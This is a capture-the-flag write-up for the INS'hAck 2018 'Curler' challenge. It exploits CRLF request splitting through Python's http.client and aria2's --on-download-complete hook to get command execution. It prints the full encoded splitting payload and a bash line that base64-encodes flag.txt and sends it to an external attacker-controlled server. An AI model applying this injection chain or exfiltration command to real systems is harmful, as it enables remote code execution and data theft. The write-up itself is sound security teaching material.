INS'hAck CTF 2018 - Curler
Show me some stats on my website! Have a look to my source code attached too! nc curler.ctf.insecurity-insa.fr 10001 source
nc curler.ctf.insecurity-insa.fr 10001
Launching your app..
5..
4..
3..
2..
1..
Welcome to your FaaS (Fetcher as a Service)!
This program allows you to fetch some stats on a given web url.
Current config is:
URL to fetch: http://insecurity-insa.fr
Fetcher options: {'timeout': 2, 'connect timeout': 2, 'max tries': 5, 'dry run': False}
Please choose your action:
1. Change the default configuration of our fetcher
2. Choose the URL you want us to inspect
3. Fetch!
4. Exit
Choice?
From the source code we can observe a lot of limitations:
url_to_fetch
must be valid JSONurl_to_fetch
when parsed withurlparse
must return the http scheme, a valid host and a pathfetcher_options
is very limited and strictly controlled- The outbound request is not made by the script itself but sent via POST to a Flask backend (but sources are not provided)
Also, by using the service we can get these other informations:
- No response content is ever returned, only statistical data, so we only know if the request was succesfull or not
- The Flask backend application use aria2 to perform the requests:
connect to [jbzserver] from ip-147-135-133.eu [147.135.133.206] 57218
GET / HTTP/1.1
User-Agent: aria2/1.19.0
Accept: */*,application/metalink4+xml,application/metalink+xml
Host: jbzserver:8080
aria2
is a C language lightweight download manager which supports a lot of protocols and options.
It looks like the client script sends aria2 parameters and the destination url to the backend which then probably uses them via subprocess
. Given the parametrization of the parameters they are probably used correctly (i.e.: no command injection with ;$() etc) so we should check aria2
manual to see if there is any option that can be useful. However before looking into the command execution we need to find a way to send our custom parameters to tha backend.
From the source code:
def fetch():
# Hit local flask server
conn = HTTPConnection(fetcher_service, 8888)
options = []
for conf in fetch_options.values():
options.append(conf["key"] + "=" + str(conf["value"]).lower())
params = bson.dumps({
"options": options
})
conn.request("POST", "/?url=" + url_to_fetch, params)
response = conn.getresponse()
print("Stats:")
print(response.read().decode())
print()
As we can see they’re not using python’s request
library but the raw http.client
. Since url_to_fetch
is appended without any particular sanitizations (aparte from being parse by urlparse
) it’s possible to inject CRLF to perform an HTTP request Splitting:
in practice we could add some newline characters we changing the url_to_fetch
parameter and modify the request with our own body and headers. By controlling the Content-Type
header we are able to force the backend server to discard the additional body added by the script.
By running the original script locally in order to test the vulnerability we can see that using "http://jbz.com/ HTTP/1.1\r\nheader: splitting-test"
as a url the backend would receive the following request:
connect to [127.0.0.1] from localhost [127.0.0.1] 56362
POST /?url=http://jbz.com/ HTTP/1.1
header: splitting-test HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: identity
Content-Length: 109
moptions_0
--timeout=21--connect-timeout=22--max-tries=53--dry-run=false
So the splitting does work.
However there’s still a problem: the body of the request is being produced by the bson.dumps
functions which hash a binary output which is not being encoded. Since our payload need to be loaded from the url
config via the json.loads
we can’t directly send stuff like null bytes because JSON will fail. After a lot of testing we discovered that while \x00
can’t be used because it’s a control character, it’s unicode equivalent, \u0000
is indeed valid.
The next step is to check the aria2
manual to see if there are useful options:
From the aria2c doc:
--on-download-complete=<COMMAND>
Set the command to be executed after download completed.
See See Event Hook for more details about COMMAND.
See also --on-download-stop option. Possible Values: /path/to/command
Let’s see an example of how arguments are passed to command:
$ cat hook.sh
#!/bin/sh
echo "Called with [$1] [$2] [$3]"
$ aria2c --on-download-complete hook.sh http://example.org/file.iso
Called with [1] [1] [/path/to/file.iso]
The above options should help to achieve code execution but there are again limitations:
/path/to/command
needs the executable permissions which we cannot set- The first argument of
/path/to/command
is the GID of the download
Luckly the GID of a download is random by default but it can be forced by the --gid
option.
The following aria2c command succesfully execute the payload located at http://jbzserver/a41b1d2f5a2c2da7
:
aria2c --on-download-complete=bash --gid=a41b1d2f5a2c2da7 http://jbzserver/a41b1d2f5a2c2da7 --dry-run=false
Here’s the final payload prepared for the request splitting and unicode encoded:
"http://jbzserver:8080/a41b1d2f5a2c2da7 HTTP/1.1\r\nHost: localhost\r\nAccept-Encoding: identity\r\nContent-Length: 126\r\n\r\n\u007e\u0000\u0000\u0000\u0004\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u0000\u0070\u0000\u0000\u0000\u0002\u0030\u0000\u0010\u0000\u0000\u0000\u002d\u002d\u0064\u0072\u0079\u002d\u0072\u0075\u006e\u003d\u0066\u0061\u006c\u0073\u0065\u0000\u0002\u0031\u0000\u001c\u0000\u0000\u0000\u002d\u002d\u006f\u006e\u002d\u0064\u006f\u0077\u006e\u006c\u006f\u0061\u0064\u002d\u0063\u006f\u006d\u0070\u006c\u0065\u0074\u0065\u003d\u0062\u0061\u0073\u0068\u0000\u0002\u0032\u0000\u000c\u0000\u0000\u0000\u002d\u002d\u0074\u0069\u006d\u0065\u006f\u0075\u0074\u003d\u0032\u0000\u0002\u0033\u0000\u0017\u0000\u0000\u0000\u002d\u002d\u0067\u0069\u0064\u003d\u0061\u0034\u0031\u0062\u0031\u0064\u0032\u0066\u0035\u0061\u0032\u0063\u0032\u0064\u0061\u0037\u0000\u0000\u0000\r\n\r\n"
For completeness, here’s the payload:
#!/bin/bash
aria2c http://jbzserver:8080/?resp=$(cat flag.txt | base64 | tr -d '\n')
Serving HTTP on 0.0.0.0 port 8080 ...
213.32.74.44 - - [09/Apr/2018 10:23:37] "GET /a41b1d2f5a2c2da7 HTTP/1.1" 200 -
213.32.74.44 - - [09/Apr/2018 10:23:38] "GET /?resp=SU5TQXt3cm9uZ19saWJzX2NvbWJpbmF0aW9uP19vcl9iYWRfcHJvZ3JhbW1lcj99 HTTP/1.1" 200 -
The flag was INSA{wrong_libs_combination?_or_bad_programmer?}
.